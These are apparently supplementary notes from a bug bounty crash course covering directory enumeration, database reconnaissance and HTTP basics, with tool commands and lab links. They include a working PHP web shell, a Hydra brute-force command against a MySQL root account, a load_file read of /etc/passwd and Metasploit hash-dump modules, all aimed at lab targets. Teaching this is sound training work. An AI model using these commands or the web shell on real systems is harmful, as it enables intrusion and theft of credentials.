|  |  |
| --- | --- |
|  | **Bug Bounty Crash Course Supplementary Notes**  **For CyberN’US Community**  **~ Sharing is Caring.~** |

**Learning Outcome**

1. Understand how to do directory enumeration and find interesting files using dirb, dirbuster, gobuster, burpsuite, zaproxy, opendoor (Lesson 3)
2. Understand how to conduct Web and Database reconnaissance using NMap and Metasploit. (Lesson 2)
3. Understand and examine http request and response using curl, burpsuite and wireshark (Lesson 1)

**Getting Started on Lab & Lessons**

| **SN** | **Task** | **Remarks** |
| --- | --- | --- |
| 1 | Access Your Labs | All required software are already provided within the lab environment  Follow steps in videos and lab manual  <https://www.youtube.com/watch?v=pHBRQ_jxybI&list=PLzKIBgD3ky23LVO6MVy54mQo3IuzdkNq5>  Note:  Remember to select server:asia-singapore (besides the run button for better performance)  Copy and paste data from your machines to lab machine – refer to the video below: <https://www.youtube.com/watch?v=l5mfL2bxkMg> |
| 2 | Questions during live lesson | Login in using your google account and ask your questions at  <https://discord.gg/mTFgdVh>  #live-instructor-interaction, #questions |
| 3 | Questions about lab | <https://discord.gg/mTFgdVh>  #lab-tech-support |
| 4 | Catch up on missed lesson | Read up slides and watch videos  <https://discord.gg/mTFgdVh>  #announcement |
| 5 | Compulsory Lab | Lesson 3:  Compare the various tools and fill in the template below:  <https://docs.google.com/document/d/1ODRV8kRaRnXtyvxKLvs8lKvmBj1YFpd6-SJp7DId1j4/edit?usp=sharing>  Lab 5: Directory Enumeration with Gobuster  <https://www.attackdefense.com/challengedetails?cid=1882>  <https://www.youtube.com/watch?v=ARQkZqVvWlg>  Lab 6: Directory Enumeration with Dirbuster  <https://www.attackdefense.com/challengedetails?cid=1883>  <https://www.youtube.com/watch?v=tOUWRs6npy8>  Lab 7: Directory Enumeration with Dirb  <https://www.attackdefense.com/challengedetails?cid=1881>  <https://www.youtube.com/watch?v=g7Fvc8_6VlY>  Lab 8: Directory Enumeration with Burpsuite  <https://www.attackdefense.com/challengedetails?cid=1886>  Lab 9: Directory Enumeration with Zaproxy  <https://www.attackdefense.com/challengedetails?cid=1885>  <https://www.youtube.com/watch?v=I6dO-GeZc3g>  Lab 10: Directory Enumeration with Opendoor  <https://www.attackdefense.com/challengedetails?cid=1884>  <https://www.youtube.com/watch?v=w8viJOSQheI>  Lab 11: Passive crawling with burp suite  <https://www.attackdefense.com/challengedetails?cid=1891>  <https://www.youtube.com/watch?v=6xbhPkGl7Qg>  Lab12: Active crawling with zap proxy  <https://www.attackdefense.com/challengedetails?cid=1890>  <https://www.youtube.com/watch?v=6hWWXIduFSg>  Lesson 2:  Lab 3: MySQL Recon Basic  <https://www.attackdefense.com/challengedetails?cid=529>  https://youtu.be/yndEeHsrwZg  Lab 4: MongoDB Server Basic  <https://www.attackdefense.com/challengedetails?cid=543>  https://youtu.be/eiuieaZbyXg  Lesson 1:  Lab 1: HTTP Basics:  <https://www.attackdefense.com/paredirect?cid=861>  Lab 2: HTTP Method Basics :  <https://attackdefense.com/challengedetails?cid=1802> <https://youtu.be/suRYNTCJojs> |
| 6 | Recommended Lab | Labs under the category of Web Application penetration testing  <https://www.attackdefense.com/listing?labtype=pa-web-app-pentesting&subtype=pa-web-app-pentesting-video-labs>  Examples:  SQL Basics - <https://www.attackdefense.com/challengedetails?cid=1801>  No SQL Basics - <https://www.attackdefense.com/challengedetails?cid=1803>  Web to shell - <https://www.attackdefense.com/challengedetails?cid=883> |
| 7 | Optional Challenge | Refer to slides - advanced users miscellaneous slides |
| 8 | Previous Challenge & Solution | Lesson 2  Remote Code Execution  <https://www.attackdefense.com/challengedetails?cid=1879>  <https://public.attackdefense.com/challengedetails?cid=1878>  Model View Controller  <https://www.attackdefense.com/challengedetails?cid=1880>  <https://www.attackdefense.com/challengedetails?cid=1802>  <https://www.youtube.com/watch?v=i9N_Cz-Vtl4&feature=youtu.be> |

**Tools**

| **SN** | **Tool** | **Usage Scenario** | **Example/Reference** |
| --- | --- | --- | --- |
| **Lesson 3** | | | |
| 1 | Dirb | Gather information about files and directories on the web servers | From kali prompt, typed  Dirb http://192.185.70.3 –r –N 404 -X .php -w /usr/share/common/wordlists/dirb/common.txt  -r not recursive  -N exclude pages returning status code 404  -X show file with extension .php  -w ignore warning |
| 2 | Dirbuster | Gather information about files and directories on the web servers | From kali icon (bottom left), select web application analysis 🡪web crawlers and directory bruteforce🡪 dirbuster  Enter target URL, Select wordlist and Click start button to enumerate directories and files  <https://null-byte.wonderhowto.com/how-to/hack-like-pro-find-directories-websites-using-dirbuster-0157593/> |
| 3 | Gobuster | Gather information about files and directories on the web servers | From kali prompt, typed  gobuster dir -u http://192.185.70.3 -s 200 -x .php -w /usr/share/dirb/wordlists/common.txt  dir - Uses directory/file brutceforcing mode  u – url  w – wordlists  s – return results with this http status code  look for files that provide information about applications, e.g. classes, phpmyadmin, phpinfo  <https://redteamtutorials.com/2018/11/19/gobuster-cheatsheet/> |
| 4 | Burpsuite | Gather information about files and directories on the web servers | At kali icon (bottom left), select web application analysis -> burpsuite  Select intruder-> Target, Enter Host IP  Select intruder-> Positions, Specify http request method and placeholder (e.g. GET /§name§ HTTP/1.0)  Select intruder-> Payload->Payload options, Click Load button to select wordlists, Click Start Attack button |
| 5 | Zaproxy | Gather information about files and directories on the web servers | From kali icon (bottom left), select web application analysis 🡪 owasp zap  From Owasp zap:  Enter target URL, Select manual mode, Click Launch Browser,  From browser:  Visit the target Site,  From Owasp zap:  Select Site->Attack->Force Browse Directory and Children  Select wordlist from dropdown list  Click the Play (>) button besides the dropdown list  Note: Copy your custom wordlist to this directory  .ZAP/fuzzers/dirbuster/ |
| 6 | OpenDoor | Gather information about files and directories on the web servers | Click on Terminal icon from lab environment. At kali prompt, typed:  Opendoor –host <http://192.185.70.3> –s directories –w /usr/share/dirb/wordlists/common.txt |
| **Lesson 2** | | | |
| 1 | Nmap | Gather information about database users, passwords, schemas and configuration | Click on Terminal icon from lab environment. At kali prompt, typed:  nmap –p <sqlport> --script=<\*.nse> <target IP>  where \* can be  mysql-empty-password.nse //check if anonymous login allowed  mysql-info //check if interactive login allow  mysql-databases //get all the databases  mysql-users //get all the sql users  mysql-variables //get all the sql variables  mysql-audit  note that audit file required as part of the argument to above script can be downloaded from <https://github.com/nmap/nmap/blob/master/nselib/data/mysql-cis.audit>  mysql-query  note: nmap scripts can be found in /usr/share/nmap/scripts  reference:  <https://nmap.org/book/nse.html> //nmap scripts and arguments  <https://www.edureka.co/blog/nmap-tutorial/> |
|  | LUA | Core of the Nmap Scripting Engine is an embeddable Lua interpreter. | <https://nmap.org/book/nse-language.html>  <https://ebens.me/post/lua-for-programmers-part-1/> |
| 2 | Metasploit | Gather information about database users, passwords, schemas and configuration | Click on Terminal icon from lab environment. At kali prompt, typed:  /etc/init.d/postgre.sql //update metasploit database  Msfconsole //launch metasploit  // find reconnaissance modules, which is of the type auxiliary  search type: auxiliary mysql  //display all modules  Tab twice at msfconsole prompt  Important modules:  auxiliary/scanner/mysql/mysql\_schemadump //dump database, tables and columns info  auxiliary/scanner/mysql/mysql\_file\_enum //find sensitive file readable by msql  auxiliary/scanner/mysql/mysql\_writable\_dirs //find directories which sql can create file  auxiliary/scanner/mysql/mysql\_hashdump //find sql users hashes |
| 3 | Hydra | Crack passwords especially web applications | hydra -l root -P /usr/share/wordlists/metasploit/common\_passwords.txt 192.235.53.3 mysql  <https://tools.kali.org/password-attacks/hydra>  <https://sectools.org/tag/pass-audit/> |
| 4 | Database | Structured,  e.g. MySQL | Supposed target-ip has empty root mySQL account.  mysql –h target-ip –u root // To connect to database, at kali prompt, typed:  select load\_file(“/etc/passwd”); //At sql prompt, issue this cmd to read password file  reference:  <https://www.mysqltutorial.org/basic-mysql-tutorial.aspx> |
|  |  | Unstructured,  e.g. MongoDB | mongo –u <uid> -p <pwd> --authenticationDatabase <db> -host <target ip> |
| 5 | PHP | Server scripting language, and a powerful tool for making Web pages. E.g. Create a web shell. | <?php  $cmd = shell\_exec($\_GET[“cmd”]);  echo $cmd  ?>  Above script , executes command, “id” on the web server when you visit <http://example/uploads/shell.php?cmd=id>.  It is as if you have typed in the command, “id” at web server command prompt.  PHP $\_GET is a PHP super global variable which is used to collect form data after submitting an HTML form with method="get".  Reference:  <https://www.w3schools.com/php/php_superglobals_get.asp>  <https://www.wired.com/2010/02/PHP_Tutorial_for_Beginners/> |
| 6 | Linux | Read password file | cat /etc/passwd  <https://www.ibm.com/support/knowledgecenter/ssw_aix_71/security/passwords_etc_passwd_file.html>  2nd field of passwd file is the encrypted password  <https://www.ibm.com/support/knowledgecenter/ssw_aix_71/security/passwords_etc_passwd_file.html>  2nd field is of the format $encryption algorithm $salt $hash  <https://www.slashroot.in/how-are-passwords-stored-linux-understanding-hashing-shadow-utils>  Get to know linux  <https://www.freecodecamp.org/news/linux-example-bash-command-line/>  <https://www.tutorialspoint.com/unix/unix-using-variables.htm> |
| 7 | Jinja | Jinja is a modern and designer-friendly templating language for Python | <https://jinja.palletsprojects.com/en/2.11.x/> |
| 8 | FeatherPad | Text Editor |  |
| **Lesson 1** | | | |
| 1 | Nmap | Scan ports and services running on a machine | Click on Terminal from lab environment.  At kali prompt, typed:  Nmap –sC –sV <target-ip> -oA results.txt  <https://www.edureka.co/blog/nmap-tutorial/> |
| 2 | Dirb | Enumerate directories and files | At kali prompt, typed:  dirb <http://example.com/>  <https://tools.kali.org/web-applications/dirb> |
| 3 | Google Dork | Enumerate directories and files | At Google search, typed  inurl /index of  intitle /index of  <https://securitytrails.com/blog/google-hacking-techniques> |
| 4 | Curl | Test for allowable http request methods | At kali prompt, typed:  curl -X OPTIONS 192.45.178.3/uploads/ -v  <https://linux.die.net/man/1/curl> |
| 5 | Burpsuite | Test for allowable http request methods | At kali icon (bottom left), select web application analysis -> burpsuite  <https://portswigger.net/burp/releases/professional-community-2020-4>  <https://portswigger.net/burp/documentation/desktop/getting-started> |
| 6 | FoxyProxy | FoxyProxy is a Firefox extension which automatically switches an internet connection across one or more proxy servers | At top right of browser  <https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/> |
| 7 | Wireshark | Network Packet Analyzer | <https://www.varonis.com/blog/how-to-use-wireshark/> |
| 8 | Kali | Collection of hacking tools |  |
| 9 | Vim | Text editor | <https://www.keycdn.com/blog/vim-commands> |

**CONCEPTS**

| **SN** | **Term** | **Definition (Simplified)** | **References** |
| --- | --- | --- | --- |
| **Lesson 3** | | | |
| 1 | Directory enumeration, Crawling, Spidering | Build index of directories and files on website. Can be active or passive mode. | <https://forum.joomla.org/viewtopic.php?t=888363> |
| 2 | Web Driver | Useful for testing single page application by imitating the user action on web application | <http://tutorialspoint.com/what-is-web-driver-in-selenium> |
| 3 | Testing methodology | Identify ports and services for possible exploits  Enumerate directories and files for sensitive data like configurations, passwords, etc. | <https://www.vumetric.com/blog/top-penetration-testing-methodologies/> |
| **Lesson 2** | | | |
| 1 | MVC | **Model** contains application data.  **View** presents the model’s data to the user.  **Controller** contains the business logic. It listens to view and in response manipulate view. | <https://www.geeksforgeeks.org/mvc-design-pattern/> |
| 2 | Framework | Collection of libraries that helps you develop your application | <https://www.geeksforgeeks.org/top-10-frameworks-for-web-applications/>  Red Team Thinking model: Fingerprint the framework and determine if an outdated version is used. If so, find the available exploits.  Blue Team Thinking model: Update the codes and also the framework. |
| 3 | Singe page application | A single-page application (SPA) is a website design approach where each new page's content is served not from loading new HTML pages but generated dynamically through JavaScript's ability to manipulate the DOM elements on the existing page itself. | What is SPA?  <https://dzone.com/articles/what-is-a-single-page-application>  Why SPA?  <https://huspi.com/blog-open/definitive-guide-to-spa-why-do-we-need-single-page-applications>  SPA Framework  Examples: Ember, Angular,  <https://hackr.io/blog/best-javascript-frameworks> |
| 4 | Monolithic application (aka multi-tier) | Monolithic application has single code base with multiple modules. Modules are divided as either for business features or technical features. It has single build system which build entire application and/or dependency. It also has single executable or deployable binary | <https://dzone.com/articles/monolithic-vs-microservice-architecture> |
| 5 | Microservice architecture | Microservice architecture is an approach of building large enterprise application with multiple small unit called service, each service develop, deploy and test individually. | Microservice  Examples: Docker, API gateway  <https://dzone.com/articles/microservices-an-example-with-docker-go-and-mongod>  <https://www.forbes.com/sites/forbestechcouncil/2018/10/10/docker-and-kubernetes-furthering-the-goals-of-devops-automation/#1ccc436f6506>  <https://microservices.io/patterns/apigateway.html> |
| 6 | Serverless architecture | Serverless architecture (also known as serverless computing or function as a service, **FaaS**) is a software design pattern where applications are hosted by a third-party service, eliminating the need for server software and hardware management by the developer. | SAAS: Software as a service  PAAS: Platform as a service  IAAS: Infra as a service  Red Team FFT: Can you pinpoint the service or database with such architecture?  <https://www.twilio.com/docs/glossary/what-is-serverless-architecture>  <https://www.serverless.com/blog/serverless-architecture-code-patterns/>  <https://www.bmc.com/blogs/saas-vs-paas-vs-iaas-whats-the-difference-and-how-to-choose/> |
| 7 | Dictionary Attack | Password attack based on defined list | Example,  /usr/share/metasploit-framewokr/data/wordlists/unix-password.txt |
| 8 | Brute Force Attack | Password attack based on trial and error |  |
| **Lesson 1** | | | |
| 1 | AJAX | AJAX uses a combination of:   * A browser built-in XMLHttpRequest object (to request data from a web server) * JavaScript and HTML DOM (to display or use the data) | <https://www.w3schools.com/xml/ajax_intro.asp> |
| 2 | HTTP Request Methods | GET: **retrieve data from the server. Request parameters appended to URL.**  POST: **send data to the server** (e.g. form data)  PUT: create/upload data (e.g. file)  DELETE: delete data (e.g. file)  OPTIONS: find supported request methods  TRACE: for debugging  HEAD: display HTTP response, just header, without the body | <https://rapidapi.com/blog/api-glossary/http-request-methods/> |
| 3 | HTTP Response Status Code | 1XX – Processing  2XX – Success  3XX – redirection  4XX – client error  5XX – server error | Refer to the lesson 1 slides page 30 for more information |

**QUESTIONS ASKED DURING LIVE LESSON**

| **SN** | **Term** | **Definition** | **References (Command)** |
| --- | --- | --- | --- |
| **Lesson 3** | | | |
| 1 | Deception Technology |  |  |
| **Lesson 2** | | | |
| 1 | Web Shell | A web shell or backdoor shell is a script written in the supported language of a target web server to be uploaded to enable remote access and administration of the machine | <https://malware.expert/general/what-is-a-web-shell/>  <https://www.attackdefense.com/challengedetails?cid=1802>  https://youtu.be/i9N\_Cz-Vtl4 |
| 2 | Port Knocking | A stealth method to externally open ports that, by default, the firewall keeps closed | <https://wiki.archlinux.org/index.php/Port_knocking> |
| 3 | IP Addr | Linux command to view network interfaces on your machines  (equivalent of deprecated Linux command - ifconfig)   * Eth0 – network interface that the system uses to access lab * Eth1 – network interface that the system uses to communicate with others * Lo - special network interface that the system uses to communicate with itself. | <https://www.computerhope.com/unix/uifconfi.htm> |
| **Lesson 1** | | | |
| 1 | Difference between Website and Web Application | Website – static content with search  Web Application – transactional | <https://www.guru99.com/difference-web-application-website.html> |
| 2 | What is index of / ? | If a request is made to a web directory on which directory listing is enabled, and there is no index file such as index.php or index.asp, even if there are files from a web application, the web server sends a directory listing as a response. | <https://www.netsparker.com/blog/web-security/disable-directory-listing-web-servers/> |
| 3 | Favicon | A **favicon** [/ˈfæv.ɪˌkɒn/](https://en.wikipedia.org/wiki/Help:IPA/English) (short for **favorite icon**), also known as a **shortcut icon**, **website icon**, **tab icon**, **URL icon**, or **bookmark icon**, is a file containing one or more small [icons](https://en.wikipedia.org/wiki/Icon_(computing)),[[1]](https://en.wikipedia.org/wiki/Favicon#cite_note-egressive-1) associated with a particular [website](https://en.wikipedia.org/wiki/Website) or [web page](https://en.wikipedia.org/wiki/Web_page). Browsers that provide favicon support typically display a page's favicon in the browser's [address bar](https://en.wikipedia.org/wiki/Address_bar) (sometimes in the history as well) | <https://en.wikipedia.org/wiki/Favicon> |
| 4 | What is / behind the ip address 192.X.X.X/24 means? | Indicate the usable ip address within a particular network subnet | <http://droptips.com/cidr-subnet-masks-and-usable-ip-addresses-quick-reference-guide-cheat-sheet> |

PS: Feel free to share and modify these notes for learning purpose.